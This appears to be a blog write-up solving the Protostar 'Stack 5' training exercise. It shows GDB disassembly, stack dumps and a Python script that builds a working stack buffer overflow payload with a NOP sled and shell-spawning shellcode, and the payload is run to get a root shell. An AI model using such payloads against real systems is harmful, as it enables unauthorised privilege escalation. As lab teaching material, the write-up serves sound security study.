Exploit Exercises: Protostar: Stack 5

Introduction

Continuing with the Protostar VM for a bit longer, today I’ll be demonstrating how to solve “Stack 5
Stack 5 has a teensy, tiny attack surface – it’s essentially two lines long. A buffer overflow in the buffer variable and…nothing else. Which means it’s our first time using shellcode!

 The Vulnerability

The vulnerability here is that there is no bounds checking when putting data into the buffer variable using gets(), which means that we can overwrite data on the stack with whatever we like – including overwriting the return address of main().

The Attack

The attack here requires the following steps –
  1. Find out the address of the buffer variable in memory
    • We’ll be using this to find main’s return address to overwrite it later later
  2. Fill the buffer with garbage, up to the return address
  3. Overwrite the return address of main with an address further up the stack which is slack space, which will cause the main function to “return” to the stack and start executing our NOP sled / shellcode
    1. Note that because our buffer is quite big we could potentially set the return address back into our buffer, but I’ll leave that as an exercise for the reader.

This attack only works because the following two protections are disabled

  1. Address Space Layout Randomisation
    1. AKA, the address of buffer will always be the same for every execution
  2. NX bit set on the stack’s memory
    1. AKA, we can put shellcode on the stack and execute it

Finding the Address of ‘buffer’

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 : push   ebp
0x080483c5 : mov    ebp,esp
0x080483c7 : and    esp,0xfffffff0
0x080483ca : sub    esp,0x50
0x080483cd : lea    eax,[esp+0x10]
0x080483d1 : mov    DWORD PTR [esp],eax
0x080483d4 : call   0x80482e8 
0x080483d9 : leave  
0x080483da : ret    
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) run
Starting program: /opt/protostar/bin/stack5 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=1, argv=0xbffff7a4) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb)
(gdb) x/24x $esp
0xbffff6a0: 0xbffff6b0 0xb7ec6165 0xbffff6b8 0xb7eada75
0xbffff6b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6f0: 0x08048300 0x00000000 0xbffff778 0xb7eadc76
So the code above is a snippet from GDB. The important parts are highlighted in green, namely –

 

  1. The address of ‘buffer’ is at 0xbffff6b0
  2. Buffer stops at 0xbffff6ec
  3. The return address is at 0xbffff6fc
Which gives us enough info to start breaking stuff 🙂

Making the Malicious Payload

Now we’re going to make our malicious buffer. We’re going to use this shellcode because I’ve used it before and have had success with it, plus it touts itself working well with gets().
From looking at the link above, we know that our shellcode is 39 bytes long, so it’s fairly small. We’ll use Python to generate our buffer because it’s super quick and easy to tweak.
Our script looks like this –
buf =  ""
buf += "A"*76 # Buffer AND slack space before return address
buf += "x30xf7xffxbf" # Our desired return address, 0xbffff730 (which accounts for minor environment differences between GDB and just running the file)
buf += "x90"*64 # Big ol' NOP sled, to help us land in our shellcode
# The shellcode from shellstorm
buf += "x31xc0x31xdbxb0x06xcdx80"
buf += "x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80"
buf += "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"

# Print the buffer so stack5 can use it
print buf
I’ll break this down, just incase it’s unclear –
  • 76 ‘A’s to flood the buffer and the spare space before the return address
  • Our desired return address, which is slightly AFTER the end of the buffer
    • Because of minor differences between GDB and our shell, some environment variables change which can be enough to throw offsets off etc. using a return address a bit further down than we actually need helps to mitigate these differences
  • A 64 byte NOP sled
    • Again, big NOP sled in case GDB’s return address is located a few bytes before or after where we’re expecting it, or in case the offsets are different when we run in a terminal outside of GDB.
  • Our shellcode
This should Just Work™

Getting a Shell

All that’s left is to run this in GDB to confirm it works, then run it outside (you’ll see why in a second)

Within GDB

user@protostar:/opt/protostar/bin$ python /home/user/buf2.py > /tmp/out3
user@protostar:/opt/protostar/bin$ gdb stack5
GNU gdb (GDB) 7.0.1-debian
(gdb) break *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) run < /tmp/out3
Starting program: /opt/protostar/bin/stack5 < /tmp/out3
Breakpoint 1, main (argc=-1869574000, argv=0x90909090) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/50x $esp
0xbffff6b0: 0xbffff6c0 0xb7ec6165 0xbffff6c8 0xb7eada75
0xbffff6c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff700: 0x41414141 0x41414141 0x41414141 0xbffff730
0xbffff710: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff720: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff730: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff740: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff750: 0xdb31c031 0x80cd06b0 0x742f6853 0x2f687974
0xbffff760: 0x89766564 0x66c931e3 0xb02712b9 0x3180cd05
0xbffff770: 0x2f6850c0 0x6868732f
(gdb) c
Continuing.
Executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
$ whoami
user
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

Cool, it works.. I’ve highlighted in green where the return address is, where in the NOP sled we land and where the shell code starts.

Also note that it drops us to a shell as expected – but we’re still “user”, not “root”. This is because GDB doesn’t / can’t honour SUID permissions on files, it’s a minor quirk of GDB. So getting the exploit working there isn’t enough, we also need it to work outside of GDB too.

Outside of GDB

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/stack5 < /tmp/out3
# whoami
root
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# :)

That’s more like it! We got root. Congratulations 🙋🙋🙋

Conclusion

This turned into a long blog post in the end.. I hope it was worthwhile and that you learned something.
I learned a lot doing this, namely the importance of taking into account environment differences between GDB and the terminal. I also learned that it’s fine to not worry about exact offsets every time, just use a longish NOP sled and aim for the middle. Of course this isn’t always appropriate!
Thanks for reading
One Comment

Add a Comment

Your email address will not be published. Required fields are marked *